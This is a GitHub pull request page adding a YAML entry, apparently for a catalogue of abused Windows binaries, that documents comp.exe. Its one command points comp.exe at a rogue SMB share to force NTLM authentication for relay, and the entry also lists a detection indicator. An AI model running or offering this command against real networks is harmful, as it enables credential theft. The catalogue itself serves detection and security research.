Skip to content

Adding Comp.exe technique #341

New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

Sign up for GitHub

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

Open
kousha1999 wants to merge 4 commits into
base: master
Choose a base branch
from
Open

Adding Comp.exe technique #341

Changes from all commits
Commits
Show all changes
4 commits
Select commit Hold shift + click to select a range
a78e066
Create Comp.yml
kousha1999 Feb 13, 2024
d61d79b
Update Comp.yml
kousha1999 Feb 13, 2024
0e269e0
Update Comp.yml - Removing trailing spaces
kousha1999 Feb 13, 2024
b6e87c1
Update Comp.yml
kousha1999 Feb 13, 2024
File filter

Filter by extension

Filter by extension
Conversations
Failed to load comments.
Loading
Jump to
Jump to file
Failed to load files.
Loading
Diff view
Diff view
25 changes: 25 additions & 0 deletions yml/OSBinaries/Comp.yml
View file
Open in desktop
Original file line number Diff line number Diff line change
@@ -0,0 +1,25 @@
---
Name: Comp.exe
Description: Used to compares the contents of two files or sets of files byte-by-byte
Author: 'Kousha Zanjani'
Created: 2024-02-13
Commands:
- Command: comp /M \\10.0.0.10\ fake.txt
Description: Tries to compare a file from rogue SMB Share with a fake.txt file
Usecase: Relay a NTLM authentication over SMB
Category: Credentials
Privileges: User
MitreID: T1187
OperatingSystem: Windows XP, Windows vista, Windows 7, Windows 8, Windows 8.1, Windows 10, Windows 11
Full_Path:
- Path: C:\Windows\System32\comp.exe
- Path: C:\Windows\SysWOW64\comp.exe
Code_Sample:
- Code:
Detection:
- IOC: comp.exe retrieving files from remote server
Resources:
- Link: https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/comp
Acknowledgement:
- Person: Kousha Zanjani
Handle: